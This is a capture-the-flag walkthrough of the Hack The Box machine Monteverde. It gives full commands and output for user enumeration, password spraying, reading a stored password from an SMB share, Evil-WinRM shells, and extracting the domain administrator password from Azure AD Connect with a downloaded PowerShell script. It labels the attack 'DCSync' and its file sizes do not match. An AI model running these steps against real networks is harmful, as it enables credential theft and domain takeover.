As always we start with an nmap scan
I found the users with:
$ rpcclient -U "" -N 10.129.228.111 rpcclient $> querydispinfo index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2 Name: AAD_987d7f2f57d2 Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE. index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos Name: Dimitris Galanos Desc: (null) index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope Name: Mike Hope Desc: (null) index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary Name: Ray O'Leary Desc: (null) index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs Name: SABatchJobs Desc: (null) index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan Name: Sally Morgan Desc: (null) index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata Name: svc-ata Desc: (null) index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec Name: svc-bexec Desc: (null) index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp Name: svc-netapp Desc: (null) rpcclient $>
and
ldapsearch -H ldap://10.129.228.111:389 -x -b "dc=MEGABANK,dc=LOCAL" > ldaplogall.txt
.
Credential Brute Force
$ nxc smb 10.129.228.111 -u users -p users --continue-on-success SMB 10.129.228.111 445 MONTEVERDE [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True) SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\SABatchJobs:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\smorgan:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-ata:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\:roleary STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\roleary:SABatchJobs STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs <snip> SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-bexec: STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [-] MEGABANK.LOCAL\svc-netapp: STATUS_LOGON_FAILURE SMB 10.129.228.111 445 MONTEVERDE [+] MEGABANK.LOCAL\:
.
then
┌──(bolke㉿hacky)-[~/htb/monteverde]
└─$ smbmap -H 10.129.228.111 -u SABatchJobs -p SABatchJobs
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports... [|] Checking for open ports... [\] Checking for open ports... [|] Checking for open ports... [*] Detected 1 hosts serving SMB
[/] Initializing hosts... [-] Initializing hosts... [-] Authenticating... [*] Established 1 SMB connections(s) and 1 authenticated session(s)
[\] Enumerating shares... [|] Enumerating shares... [/] Enumerating shares... [-] Enumerating shares... [\] Enumerating shares... [|] Enumerating shares... [/] Enumerating shares...
[+] IP: 10.129.228.111:445 Name: MONTEVERDE.MEGABANK.LOCAL Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
azure_uploads READ ONLY
C$ NO ACCESS Default share
E$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON READ ONLY Logon server share
SYSVOL READ ONLY Logon server share
users$ READ ONLY
[-] Closing connections.. [\] Closing connections..
I looked through each share. I can connect with smbclient and poke around, or use smbmap to list out files. Either way, I find something interesting in the users$ share:
smbmap -H 10.129.228.111 -u SABatchJobs -p SABatchJobs -s ‘users$’ -r
There’s a file at \\10.129.228.111\mhope\azure.xml. I’ll grab it with smbclient:
$ smbclient -U SABatchJobs //10.129.228.111/users$ SABatchJobs -c 'get mhope/azure.xml azure.xml' getting file \mhope\azure.xml of size 1212 as azure.xml (31.1 KiloBytes/sec) (average 31.1 KiloBytes/sec)
It contains a password:
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</T>
<T>System.Object</T>
</TN>
<ToString>Microsoft.Azure.Commands.ActiveDirectory.PSADPasswordCredential</ToString>
<Props>
<DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
<DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
<G N="KeyId">00000000-0000-0000-0000-000000000000</G>
<S N="Password">4n0therD4y@n0th3r$</S>
</Props>
</Obj>
</Objs>
Shell Over WinRM
Since that configuration file was in mhope’s directory, I’ll guess that the creds are associated with that user. crackmapexec shows that not only is that right, but that they will work over WinRM:
$ evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
Evil-WinRM shell v4.1
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\mhope\Documents>
.
Enumeration
I already had a hint that this box has something with Azure Active Directory going on when I saw the azure_uploads share. Looking at mhope’s groups, I see Azure Admins:
*Evil-WinRM* PS C:\Users\mhope\Documents> net user mhope User name mhope Full Name Mike Hope Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 1/2/2020 4:40:05 PM Password expires Never Password changeable 1/3/2020 4:40:05 PM Password required Yes User may change password No Workstations allowed All Logon script User profile Home directory \\monteverde\users$\mhope Last logon 1/3/2020 6:29:59 AM Logon hours allowed All Local Group Memberships *Remote Management Use Global Group memberships *Azure Admins *Domain Users The command completed successfully. *Evil-WinRM* PS C:\Users\mhope\Documents>
getting Root
If you look at the rights of this user, you can see that he is a member of the Azure Admins group:
Which means he can run a DCSync.
Running the attack is as easy as downloading the PS1 script from:
https://raw.githubusercontent.com/Hackplayers/PsCabesha-tools/master/Privesc/Azure-ADConnect.ps1
more info in: https://blog.xpnsec.com/azuread-connect-for-redteam/
Next we execute:
Evil-WinRM* PS C:\Users\mhope\Documents> upload Azure-ADConnect.ps1
Info: Uploading /home/bolke/htb/monteverde/Azure-ADConnect.ps1 to C:\Users\mhope\Documents\Azure-ADConnect.ps1
Data: 3016 bytes of 3016 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Users\mhope\Documents> ./Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> ls
Directory: C:\Users\mhope\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 10/12/2026 10:40 AM 2264 Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> Import-Module ./Azure-ADConnect.ps1
*Evil-WinRM* PS C:\Users\mhope\Documents> Azure-ADConnect -server 127.0.0.1 -db ADSync
[+] Domain: MEGABANK.LOCAL
[+] Username: administrator
[+]Password: d0m@in4dminyeah!
*Evil-WinRM* PS C:\Users\mhope\Documents>
With the password of the administrator you can log in via winrm and get the root
$ evil-winrm -i MEGABANK.LOCAL -u administrator -p 'd0m@in4dminyeah!'
Evil-WinRM shell v4.1
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Info: Connection successful
*Evil-WinRM* PS C:\Users\Administrator\Documents>
.
Author : Puckiestyle